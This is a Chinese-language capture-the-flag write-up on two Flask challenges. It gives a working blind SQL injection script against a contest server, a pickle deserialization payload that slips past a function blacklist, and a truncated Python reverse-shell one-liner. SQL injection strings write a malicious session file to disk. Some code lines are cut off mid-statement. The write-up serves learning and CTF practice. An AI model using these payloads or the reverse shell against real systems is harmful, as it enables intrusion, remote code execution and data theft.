登录

Python is the best language-Writeup

chybeta / 2018-03-26 14:09:40 / 浏览数 10356 安全技术 CTF 顶(1) 踩(0)

题目

Python is the best language 1/2

```
http://39.107.32.29:20000

http://117.50.16.51:20000

■■■■
■■■■■■■■■■■■rtou■

I'm learning the flask recently,and I think python is the best language in the world!don't you think so?
```

Python is the best language 1

源码下载下来后，由于是基于flask框架，因此先看了看路由文件routes.py，大概如下：

```
@app.before_request
def before_request():

@app.teardown_request
def shutdown_session(exception=None):

@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
@login_required
def index():

@app.route('/explore')
@login_required
def explore():

@app.route('/logout')
def logout():

@app.route('/register', methods=['GET', 'POST'])
def register():

@app.route('/user/<username>')
@login_required
def user(username):

@app.route('/edit_profile', methods=['GET', 'POST'])
@login_required
def edit_profile():

@app.route('/follow/<username>')
@login_required
def follow(username):

@app.route('/unfollow/<username>')
@login_required
def unfollow(username):
```

这些功能大部分是基于登陆的，因此从注册和登陆相关的代码入手。

```
@app.route('/register', methods=['GET', 'POST'])
def register():
   if current_user.is_authenticated:
       return redirect(url_for('index'))
   form = RegistrationForm()
   if form.validate_on_submit():
       res = mysql.Add("user", ["NULL", "'%s'" % form.username.data, "'%s'" % form.email.data,
                                "'%s'" % generate_password_hash(form.password.data), "''", "'%s'" % now()])
       if res == 1:
           flash('Congratulations, you are now a registered user!')
           return redirect(url_for('login'))
   return render_template('register.html', title='Register', form=form)
```

跟进RegistrationForm，定义在 forms.py的第20行:

```
class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired()])
    email = StringField('Email', validators=[DataRequired(), Email()])
    password = PasswordField('Password', validators=[DataRequired()])
    password2 = PasswordField(
        'Repeat Password', validators=[DataRequired(), EqualTo('password')])
    submit = SubmitField('Register')

    def validate_username(self, username):
        if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
            raise ValidationError('username has invalid charactor!')
        user = mysql.One("user", {"username": "'%s'" % username.data}, ["id"])
        if user != 0:
            raise ValidationError('Please use a different username.')

    def validate_email(self, email):
        user = mysql.One("user", {"email":  "'%s'" % email.data}, ["id"])
        if user != 0:
            raise ValidationError('Please use a different email address.')
```

在这里可以很明显的看到两个验证函数有差别，validate_username在进行mysql.One前进行了正则匹配的过滤和审核，而validate_email仅仅通过validators=[D
Email()]来匹配。

Email定义在wtforms.validators中，相关源码如下：

```
class Email(Regexp):
    """
    Validates an email address. Note that this uses a very primitive regular
    expression and should only be used in instances where you later verify by
    other means, such as email activation or lookups.
    :param message:
        Error message to raise in case of a validation error.
    """
    def __init__(self, message=None):
        self.validate_hostname = HostnameValidation(
            require_tld=True,
        )
        super(Email, self).__init__(r'^.+@([^.@][^@]+)$', re.IGNORECASE, message)
    def __call__(self, form, field):
        message = self.message
        if message is None:
            message = field.gettext('Invalid email address.')
        match = super(Email, self).__call__(form, field, message)
        if not self.validate_hostname(match.group(1)):
            raise ValidationError(message)
```

其正则规则为^.+@([^.@][^@]+)$，也就是说对email而言，即使提交如'"#a@q.com包含单引号，双引号，注释符等敏感字符的形式也是能通过的。

回到validate_email验证函数中：

```
def validate_email(self, email):
    user = mysql.One("user", {"email":  "'%s'" % email.data}, ["id"])
    if user != 0:
        raise ValidationError('Please use a different email address.')
```

跟入mysql.One，定义在others.py:

```
# mysql.One("user", {"email":  "'%s'" % email.data}, ["id"])
def One(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
    # self.Sel("user", {"email":  "'%s'" % email.data}, ["id"], "", "=", l)
    sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
    try:
        res = self.db_session.execute(sql).fetchone()
        if res == None:
            return 0
        return res
    except:
        return -1
```

跟入self.Sel:

```
# self.Sel("user", {"email":  "'%s'" % email.data}, ["id"], "", "=", l)
def Sel(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
   sql = "select "
   sql += "".join(i + "," for i in feildname)[:-1] + " "
   sql += "from " + tablename + " "
   if where != {}:
       sql += "where " + "".join(i + " " + where_symbols + " " +
                                   str(where[i]) + " " + l + " " for i in where)[:-4]
   if order != "":
       sql += "order by " + "".join(i + "," for i in order)[:-1]
   return sql
```

最后拼接出来的sql语句如下：

```
select id from user where email = 'your input email'
```

结合前面所说的对输入邮箱email形式的验证，这里存在sql注入漏洞。我们设置邮箱为`test'/**/or/**/1=1#@test.com`，则拼接后的sql语句为：

```
select id from user where email = 'test'/**/or/**/1=1#@test.com'
```

可以看到成功注入。由于此处不能回显数据，因此采用盲注。回到`validate_username`

```
def validate_username(self, username):
   if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
       raise ValidationError('username has invalid charactor!')
   user = mysql.One("user", {"username": "'%s'" % username.data}, ["id"])
   if user != 0:
       raise ValidationError('Please use a different username.')
```

当查询为真时也即`user != 0`会出现信息`Please use a different username.`，结合这点构造出最后的exp.py：

```
import requests
from bs4 import BeautifulSoup

url = "http://39.107.32.29:20000/register"

r = requests.get(url)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')[0].get("value")

notice = "Please use a different email address."
result = ""

database = "(SELECT/**/GROUP_CONCAT(schema_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)"
tables = "(SELECT/**/GROUP_CONCAT(table_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABL
columns = "(SELECT/**/GROUP_CONCAT(column_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/T
data = "(SELECT/**/GROUP_CONCAT(flllllag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flaaaaag)"


for i in range(1,100):
   for j in range(32,127):
       payload = "test'/**/or/**/ascii(substr("+  data +",%d,1))=%d#/**/@chybeta.com" % (i,j)
       print payload
       post_data = {
           'csrf_token': token,
           'username': 'a',
           'email':payload,
           'password':'a',
           'password2':'a',
           'submit':'Register'
       }
       r = requests.post(url,data=post_data)
```

```
        soup = BeautifulSoup(r.text,"html5lib")
        token = soup.find_all(id='csrf_token')[0].get("value")
        if notice in r.text:
            result += chr(j)
            print result
            break
```

由于在注册部分有csrf_token，因此在每次submit时要记得带上，同时在每次返回的页面中取得下一次的csrf_token。

最后的flag：

```
QWB{us1ng_val1dator_caut1ous}
```

Python is the best language 2

分析

接着进行代码审计。在`others.py`的最后有这样的内容：

```
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
                  tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
                  lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
                  rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
                  execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
                  spawnv, spawnve, spawnvp, spawnvpe, load, loads]


class FilterException(Exception):

   def __init__(self, value):
       super(FilterException, self).__init__(
           'the callable object {value} is not allowed'.format(value=str(value)))


def _hook_call(func):
   def wrapper(*args, **kwargs):
       print args[0].stack
       if args[0].stack[-2] in black_type_list:
           raise FilterException(args[0].stack[-2])
       return func(*args, **kwargs)
   return wrapper


def load(file):
   unpkler = Unpkler(file)
   unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
   return Unpkler(file).load()
```

我把这部分内容分为两部分；反序列化漏洞以及基本的沙箱逃逸问题。

先忽略`unpkler.dispatch[REDUCE]`这一行的内容。

```
from pickle import Unpickler as Unpkler
def load(file):
   unpkler = Unpkler(file)
   # unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
   return Unpkler(file).load()
```

这里对`file`进行了反序列化，因此如果`file`可控即可造成危险。

用下面的脚本(exp4.py)进行序列化payload的生成：

```
import os
from pickle import Pickler as Pkler
import commands
class chybeta(object):
   def __reduce__(self):
       return (os.system,("whoami",))
evil = chybeta()
```

```
def dump(file):
   pkler = Pkler(file)
   pkler.dump(evil)

with open("test","wb") as f:
   dump(f)
```

测试反序列化漏洞(exp5.py):

```
from pickle import Unpickler as Unpkler
from io import open as Open
def LOAD(file):
   unpkler = Unpkler(file)
   return Unpkler(file).load()

with Open("test","rb") as f:
   LOAD(f)
```

不过没那么简单，源码还设置了沙箱/黑名单来防止某些函数的执行，比如前面的os.system就被禁用了，我们修改exp5.py为进一步的测试：

```
from os import *
from sys import *
from pickle import *
from io import open as Open
from pickle import Unpickler as Unpkler
from pickle import Pickler as Pkler

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
                  tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
                  lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
                  rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
                  execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
                  spawnv, spawnve, spawnvp, spawnvpe, load, loads]

class FilterException(Exception):
   def __init__(self, value):
       super(FilterException, self).__init__(
           'the callable object {value} is not allowed'.format(value=str(value)))

def _hook_call(func):
   def wrapper(*args, **kwargs):
       print args[0].stack
       if args[0].stack[-2] in black_type_list:
           raise FilterException(args[0].stack[-2])
       return func(*args, **kwargs)
   return wrapper

def LOAD(file):
   unpkler = Unpkler(file)
   unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
   return Unpkler(file).load()

with Open("test","rb") as f:
   LOAD(f)
```

此时如果简单地想通过前一步生成的test来执行系统命令，会报错。

考虑其他方法。python中除了os和sys模块有提供命令执行的函数外，还有其他第三方模块，比如commands模块：

因此改写生成序列化文件的exp4.py如下：

```
import os
from pickle import Unpickler as Unpkler
from pickle import Pickler as Pkler
import commands
class chybeta(object):
   def __reduce__(self):
       return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
evil = chybeta()
```

```
def dump(file):
   pkler = Pkler(file)
   pkler.dump(evil)

with open("test","wb") as f:
   dump(f)
```

同时为了进一步利用，我们尝试反弹shell。过程如下，先运行exp4.py生成新的test序列化文件，接着nc监听本地端口，接着运行exp5.py触发序列化漏洞并完成利用

不过该怎么控制源代码中的`load(file)`的file呢？通过全局搜索关键字，在`Mycache.py`的`FileSystemCache`■中有多次引用，比如定义在第137行的get方法：

```
def get(self, key):
       filename = self._get_filename(key)
       try:
           with open(filename, 'rb') as f:
               pickle_time = load(f)
               if pickle_time == 0 or pickle_time >= time():
                   a = load(f)
                   return a
               else:
                   os.remove(filename)
                   return None
       except (IOError, OSError, PickleError):
           return None
```

跟入`_get_filename`方法：

```
def _get_filename(self, key):
   if isinstance(key, text_type):
       key = key.encode('utf-8')  # XXX unicode review
   hash = md5(key).hexdigest()
   return os.path.join(self._path, hash)
```

可以看到将传入的字符串key进行MD5，并将其返回。不过这个key在哪里定义？通过全局搜索，不难发现在`Mysession.py`的`open_session`中进行了调用：

```
class FileSystemSessionInterface(SessionInterface):
   ...
   def __init__(self, cache_dir, threshold, mode, key_prefix="bdwsessions",
                use_signer=False, permanent=True):

       self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
       self.key_prefix = key_prefix
       self.use_signer = use_signer
       self.permanent = permanent

   def open_session(self, app, request):
       # ■cookie■■■■sid
       # ■■ Cookie: session=675b6ec7-95bd-411f-a59d-4c3db5929604
       # sid ■■ 675b6ec7-95bd-411f-a59d-4c3db5929604
       sid = request.cookies.get(app.session_cookie_name)
       if not sid:
           sid = self._generate_sid()
           return self.session_class(sid=sid, permanent=self.permanent)
       ...
       data = self.cache.get(self.key_prefix + sid)
       if data is not None:
           return self.session_class(data, sid=sid)
       return self.session_class(sid=sid, permanent=self.permanent)
   ...
```

其中`self.key_prefix`即为bdwsessions，因此假设cookie中的sesssion值为`675b6ec7-95bd-411f-a59d-4c3dbchybeta`，则`self.key_prefix + sid`即为`bdwsessions675b6ec7-95bd-411f-a59d-4c3dbchybeta`，然后这串字符串进行MD5得到的结果`78f634977cbacf167dfd9656fe9dd5f3`即为`675b6ec7`

同时根据`config.py`:

```
SQLALCHEMY_DATABASE_URI = "mysql://root:password@localhost/flask?charset=utf8"
SESSION_FILE_DIR = "/tmp/ffff"
```

可以知道session文件的保存路径在`/tmp/ffff`，以及用户为root，因此具有文件导出的权限的可能性很大。

流程

结合`Python is the best language 1`中的sql注入漏洞，我们梳理出如下的攻击流程：

1. 本地生成序列化文件，并且进行十六进制编码
2. 通过sql注入漏洞outfile出session文件
3. 访问index，同时带上session文件对应的session值，触发`open_session`中的`self.cache.get`，进行反序列化攻击

假设前面生成的序列化文件存在于`/tmp/ffff/chybeta`，建议使用mysql的hex转码来进行十六进制的转换:

```
mysql> select hex(load_file('/tmp/ffff/chybeta')) into outfile '/tmp/ffff/exp';
Query OK, 1 row affected (0.00 sec)
```

以使用`675b6ec7-95bd-411f-a59d-4c3dbchybeta`作为cookie为例，则其session文件存在于`/tmp/ffff/78f634977cbacf167dfd9656fe9dd5f3`

在十六进制的序列化串前面添加`0x`，构造邮箱处的注入点：

```
select id from user where email = 'test'/**/union/**/select/**/0x63636F6D6D616E64730A../**/into/**/dumpfile/**/'/tmp/ffff/78f6
```

也即在注册的邮箱处填入：

```
test'/**/union/**/select/**/0x63636F6D6D616E64730A.../**/into/**/dumpfile/**/'/tmp/ffff/78f634977cbacf167dfd9656fe9dd5f3'#@tes
```

点击submit后出现`Please use a different email address.`。

接着在burp中抓取访问index的包，并修改cookie为`675b6ec7-95bd-411f-a59d-4c3dbchybeta`，在自己的vps上监听对应的端口：

flag：

```
QWB{pyth0n1s1ntere3t1ng}
```

总结

- wtforms.validators的Email类验证不完善
- flask的session处理机制
- python沙箱逃逸
- python反序列化漏洞
- 一点“小小”的脑洞

Refference

- P师傅：Python库WTForm过滤不严导致URLXSS漏洞

点击收藏 | 1 关注 | 2

上一篇：客户端 session 导致的安全问题 下一篇：深入剖析RPO漏洞

1. 1 条回复

master 2018-03-27 17:05:24

高手啊。

0 回复Ta

登录 后跟帖